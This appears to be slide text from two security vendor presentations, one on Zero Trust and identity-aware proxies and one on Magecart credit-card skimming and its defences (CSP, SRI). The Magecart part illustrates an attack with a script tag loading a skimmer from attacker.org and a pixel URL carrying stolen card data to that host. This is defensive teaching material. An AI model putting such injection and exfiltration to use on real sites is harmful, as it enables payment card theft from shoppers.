Access Denied! Decoding Identity Aware Proxies

Access Denied! Decoding Identity Aware Proxies

Users & Corporate Apps Have Left The Building CORP NET DC App #1 App #2 The Web SaaS IaaS Existing network architectures are not optimized for this App #3 App #n DC No VPN = No Security Complex Slow Office Cafe High Risk

There is no INSIDE

Security Challenges In This Environment Larger Attack Surface Advanced Threats Security Complexity Security Skills Direct Internet Access (DIA), SaaS, cloud services, mobility, IOT all dramatically increase your attack surface Threats are becoming more complex, increasing in volume and adversaries are now adept at bypassing your defences Security complexity and control point complications has created security gaps Worldwide shortage of security talent and expertise means many security teams are stretched

Zero Trust is the new approach Key principles: The network is always assumed to be hostile. External and internal threats exist on the network at all times. Network locality is not sufficient for deciding trust in a network. Every device, user, and network flow is authenticated and authorized. Policies must be dynamic and calculated from as many sources of data as possible.

Different Approaches To Implement Zero Trust Option #1 Network Segmentation Option #2 Software Defined Perimeters Option #3 Identity Aware Proxies

Network Segmentation Software Defined Perimeters Advantages Great for Protection from East-West lateral movement Drawbacks Fragile & Complicated Expensive Shared resources used by entire Enterprise Even more complex to implement in hybrid IaaS/ On-prem Often implemented within Corp WAN Advantages Familiar: Most Similar to legacy Remote Access VPN Relatively Fast to Eliminate VPN Drawbacks Limited Architecture: A tunnel is just a tunnel Service Insertion not possible due to tunnel architecture Push Complexity with Legacy Auth down to Each Application

Identity Aware Proxy (IAP) Cloud-based Proxy architecture Identity verification and authorization occur in the cloud based on least access principles No tunnels IAP provides access to applications, whitelisted for authenticated and authorized users, at the application layer (Layer 7) Standard HTTPs or websockets over TLS Trusted Identity Store to verify users and devices Cloak the applications and assets in the cloud or behind the firewall Clientless for Web apps

Identity Aware Proxy Advantages Long Term Flexibility with Proxy Architecture Service Insertion for features like WAF, CDN, etc Auth Bridging Unify multiple Islands of Identity Future Capabilities likely to include Password Vaulting and Shared Accounts Drawbacks More of a departure for Helpdesk support compared to network centric solutions Can be more work to get started

Identity Aware Proxy (IAP) - Architecture Outbound TLS Connection From Connector to EAA Edge Enterprise Data Center Proxy Cloud Platform Apps TLS Connection User to IAP Edge IAP Edge Enterprise Access Connector APP User Admin User Customer Admin User to IAP Management Cloud TLS Connection IAP Management Cloud Outbound TLS Connection From Connector to Proxy Management Cloud APP User Proxy Cloud Platform Apps

Enterprise Access Connector Outbound Proxy Internet Enterprise Enterprise Access Edge Centrally Managed Virtual Machine Only dials out - all inbound access is denied Proxies connections to internal apps Can translate SSH, RDP/VNC to HTTP/S Communicates with your Active Directory/LDAP Apps Enterprise Access Connector Supports full ADC functionality including load balancing, custom headers, path based routing, and authentication bridging. AD / LDAP

Enterprise Access Connector - Authentication Flow Internet Enterprise Access Edge Enterprise Enterprise Access Connector 2. Akamai authenticates itself using the Akamai certificate (EAA Management) 3. Customer must approve the Connector 5. Akamai signs CSR; sends approved certificate Avoid data theft and downtime 1. Connector by extending initiates a mutually the security perimeter outside the data-center and Approval protect from increasing frequency, scale and sophistication of web attacks. TLS Connection CSR Approved Certificate authenticated TLS connection using is factory certificate (EAA Management) 4. Connector creates a CSR; sends to Akamai 6. Connector tears down existing TLS connection 8. Akamai authenticates itself using the approved certificate (EAA Management) 10. Akamai authenticates itself using the approved certificate (EAA Edge) TLS Connection TLS Connection 7. Connector initiates a mutually authenticated TLS connection using approved certificate (EAA Management) 9. Connector initiates a mutually authenticated TLS connection using approved certificate (EAA Edge)

Authentication and Authorization Internet IdP (IDaaS) (e.g. Okta, OneLogin) Enterprise AD / LDAP Apps User EAA Edge Enterprise Connector EAA Edge will authenticate the user against AD Provides Single Sign-On Capabilities Provides Multi-Factor Authentication Can integrate with IDaaS providers Supports NTLM, Kerberos, SAML, Header based Auth Seamless integration for any authentication source

User Data Path Internet Enterprise Access Edge Enterprise Enterprise Access Connector User User attempting to access application SSL sessions for configured applications End user requests access to an application Only accepts SSL traffic for configured applications. Must be from authenticated and authorized users. All other traffic is dropped.

Validate user identity to control access to assets Verified Individual -MFA OTP Identified Individual - username / password Trusted Device - client certificates AUTHENTICATION Authorised Applications

User Data Path Internet Enterprise Access Edge Enterprise Enterprise Access Connector User User attempting to access application SSL sessions for configured applications Pass user requests to application Apps End user requests access to an application Only accepts SSL traffic for configured applications. Must be from authenticated and authorized users. All other traffic is dropped. Only processes HTTP messages received over self-initiated SSL sessions. Messages may only be directed toward applications the connector is configured for. Intended application. Also provide authentication and authorization for all users.

Cloud Based - High Availability & Reliability Enterprise User Internet Global DNS Avoid data theft and downtime by extending the security perimeter outside the data-center and protect from increasing frequency, scale and sophistication of web attacks. Apps All components must be elastic and redundant Enterprise Access Edges Enterprise Access Connectors Customer Applications Built-in Server and Data Center Load Balancing Regional Enterprise Access Edges with Automatic Failover Redundant Enterprise Access Connectors

Identity Aware Proxy (IAP) Architecture Summary Clientless TLS EAA SAML IDP (Auth Path Only) Internet SaaS User > Browser With Client Internet EAA DPoP Auth & Data Path EAA Connector Apps VPC IaaS EAA Client User > Desktop Apps > EAA Client Auth-N,Z before connect Secured data path Integrated HA, Load balancing Multiple IDP support SSO and auth bridging Managed & Unmanaged devices EAA Connector Apps AD Data Center 18

IAP Compliments Network Segmentation Clientless TLS Segment 4 App 4 User > Browser With Client Internet EAA DPoP Segment 3 App 3 Segment 2 User > Desktop Apps > EAA Client EAA Client App 2 No limit on number or connectors Simplify Micro segmentation Network level for coarse segmentation IAP for fine grained per app segmentation Segment 1 App 1 AD Data Center 19

Moving Beyond Perimeter Security A comprehensive & achievable roadmap to less risk 8 Steps To Zero Trust 1 2 3 4 5 6 7 8 App Precheck Access Proxy Prep Test Lab Enrollment Security Upgrade Performance Upgrade External User Enrollment Internal User Enrollment VLAN Migration 8 Steps To Zero Trust A comprehensive guide & roadmap to Zero Trust by Akamai CTO Charlie Gero Zero Trust Ref. Architecture Simple visual guide on how to apply Zero Trust across common environments akamai.com/zerotrust

THANK YOU nhawkins@akamai.com https://www.linkedin.com/in/nickhawk @SingaporeNick

Magecart and Javascript skimmers code

Magecart group of criminals that have been targeting online shopping carts and skimming credit card data at checkout. Time in operation: Roughly 3 years Group Strength: Unknown, roughly operate in 6-7 groups Target industry: ecommerce (primarily) Modus operandi: Java script skimmers/malware Many of the Magecart victims are struggling to contain the attacks. In the third quarter of 2018 many Magecart victims were re-infected soon after detection and cleaning-up of the initial infection Intelligent Edge Security 2018 Akamai

Understanding Magecart (Data Skimming) Kill Chain Reconnaissance Infiltration Exploitation Exfiltration Identify target website with high account value Identify random targets Implanting server side skimmer code Implanting clientside malware/plugins Checkout page compromised Skimmer.js executes Skimming of webform such as credit card number, expiration date, name, billing add. Etc. Data packaging and exfiltration to the attacker location Intelligent Edge Security 2018 Akamai

DOORS TO DATA SKIMMING How did the script/skimmer get in?

TRUST EXPLOITATION

Authorized user injecting malicious script Insider threat - a user who legitimately has access to include scripts on the websites intentionally adds a malicious payload. Unknowingly: Valid users doing a/b tests, cms upgrades etc. open up security holes Checkout Script

Unauthorized user injecting malicious script Accidental exposure formal practices and controls are usually unaware of all of the injection points Web Attackers Stored Cross-Site Scripting (XSS) Reflected Cross-Site Scripting (XSS) Application modification using other vulnerabilities Targeting 3 rd party integration and partners

Client side Malware, Plug-ins 1 User browser making legitimate requests to vulnerable site/s Browser side logic such as compromised browser plugins can manipulate content on browser side 2 3 Card data and user info is skimmed, stored and sent to the attacker location SIGN IN BA G LOGIN CREATE ACCOUNT

How does the attack look like in real? Infiltration www.xyz.com/cart/checkout.jsp includes a piece of JavaScript <script src=www.attacker.org/credit-cardskimmer.js> Exfiltration www.attacker.org/1x1- pixel.gif?stolendata= 1234567891234 nov 2020 a%20name a%20billing% 20address Exploitation credit-card-skimmer.js runs and extracts payment details such as Card number, expiration, name and billing address User Interaction www.xyz.com/cart/checkout.jsp

EXAMPLE: INLINE JAVASCRIPT SKIMMER

EXAMPLE: INLINE JAVASCRIPT SKIMMER

DATA EXFILTRATION: INLINE JAVASCRIPT SKIMMER

EXAMPLE: EXTERNAL JAVASCRIPT SKIMMER

EXAMPLE: EXTERNAL JAVASCRIPT SKIMMER

Where do we go from here?

Zero Trust approach can help: Trust but verify Users & Apps are everywhere Trust, but verify Access only to authorized apps and resources

PROTECT YOUR SENSITIVE PAGES Login Auth + Data Path Controls Payment Profile Application layer protection Content Security Policy (CSP) and SRI Script management

CORPORATE APPLICATION MODERNIZATION Reference architecture Browser Client Attacker Edge platform 1 DDoS / WAF Identity App access App acceleration 2 3 4 5 6 Manage Corporate apps 7 Data Centre Cloud Provider X Cloud Provider Y

DEFENSE IN DEPTH - CSP AND SRI CONTROLS Content Security Policy Disallow/Selectively allow Inline/external JavaScript with script-src Use of CSP Nonces Validating Inline JavaScript with CSP Hashes Subresource Integrity (SRI) Validating External JavaScript by specifying an integrity attribute to your script calls CSP and SRI together with a new CSP directive called require-sri-for Data Exfiltration Defenses Control XMLHttpRequest (XHR) based exfiltration with CSP connect-src Control exfiltration with Image() Constructor using CSP img-src Implement CSP violation reporting

THANK YOU